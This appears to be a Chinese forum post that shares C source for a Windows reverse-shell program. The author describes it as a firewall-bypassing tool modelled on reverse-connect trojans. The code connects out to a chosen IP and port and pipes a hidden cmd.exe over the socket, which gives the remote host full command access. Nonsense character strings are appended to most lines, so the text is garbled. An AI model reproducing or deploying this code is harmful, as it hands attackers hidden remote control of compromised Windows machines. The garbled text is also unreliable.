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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zho$g9*  
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/* ============================== :41Ch^\E  
Rebound port in Windows NT +`]AutNv  
By wind,2006/7 #*|Gp_l+%  
===============================*/ yR'%UpaE  
#include kl+^0i  
#include !=SBeq  
*+rWn*L  
#pragma comment(lib,"wsock32.lib") DV5K)m&G  
+ebmve \+  
void OutputShell(); appWq}db  
SOCKET sClient; ^0T DaZDLp  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tsf)+`vt  
j.:I{!R#  
void main(int argc,char **argv) gi#g)9HG  
{ !Sj0!\  
WSADATA stWsaData; W9M~2< L  
int nRet; %}/|/=  
SOCKADDR_IN stSaiClient,stSaiServer; tmVGJ+gz  
v3I-i|L<)  
if(argc != 3) P g.j]  
{ Bh0hUE  
printf("Useage:\n\rRebound DestIP DestPort\n"); FzM<0FJRX  
return; <Y"h2#M"  
} mR3-+dB/  
5!V%0EQqw  
WSAStartup(MAKEWORD(2,2),&stWsaData); q>5 K:5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q XLHQ_V  
zNRR('B?  
stSaiClient.sin_family = AF_INET; EZb_8<DH  
stSaiClient.sin_port = htons(0); Tk~Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @{LD_>R  
NR9=V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l)K8.(2  
{ O+ghw1/  
printf("Bind Socket Failed!\n"); <4%cKW0  
return; ;,7/>Vt  
} }P*x /z~  
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stSaiServer.sin_family = AF_INET; )1iqM]~;B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rjWn>M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dh0nB  
+JlPQ~5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E=$li  
{ 5h7M3s  
printf("Connect Error!"); D@?Tq,= [  
return; >p?Vv0*  
} ^=@`U_(,G  
OutputShell(); \.K4tY+V  
} 7M,(!*b  
-POsbb>  
void OutputShell() eFXQ~~gOj  
{ S!6 ? b5  
char szBuff[1024]; 9?38/2kX4  
SECURITY_ATTRIBUTES stSecurityAttributes; :c}"a(|  
OSVERSIONINFO stOsversionInfo; u6MHdCJ0y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]9hXiY  
STARTUPINFO stStartupInfo; GJj}|+|  
char *szShell; peD7X:K\s  
PROCESS_INFORMATION stProcessInformation; ^SvGSx i  
unsigned long lBytesRead; }O+`X) 9  
oa<%R8T?@  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M"!{Dx~  
o ~`KOe  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yBkcYHT  
stSecurityAttributes.lpSecurityDescriptor = 0; d3jzGJrU}  
stSecurityAttributes.bInheritHandle = TRUE; ?,  m_q+  
5Ei4$T  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CAbR+ y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vp&N)t_  
m bZn[D_zi  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (U([T-H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lc! t  
stStartupInfo.wShowWindow = SW_HIDE; cTa$t :K@  
stStartupInfo.hStdInput = hReadPipe; 6R#.AD\  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PTP0 _|K  
##5e:<c&[  
GetVersionEx(&stOsversionInfo); G}LOQ7  
_ZHDr[  
switch(stOsversionInfo.dwPlatformId) GAU7w"sE  
{ :zp9L/eh  
case 1: ,"U|gJn|^  
szShell = "command.com"; k<A|+![  
break; moCr4*jDX,  
default: 6(8zt"E  
szShell = "cmd.exe"; ZO8r8 [  
break; 'BX U '  
} D $&6 8  
.g>0FP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XE($t2x,M  
W4&Itj  
send(sClient,szMsg,77,0); fM!@cph(8  
while(1) 7Sl"q=>  
{ K_GqM9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FM,o&0HSd  
if(lBytesRead) '4)4*3z,  
{ ,Q,3^v-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e !N%   
send(sClient,szBuff,lBytesRead,0); Y,M 2 D  
} b NR@d'U  
else _jM+;=f  
{ /RemLJP F  
lBytesRead=recv(sClient,szBuff,1024,0); ^KUM4. 6  
if(lBytesRead<=0) break; &Pe[kCO]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R/P9=yvg0  
} auHP^O> 4L  
} 0w!:YB,}  
*0/%R{+S  
return; YJB/*SV^  
}
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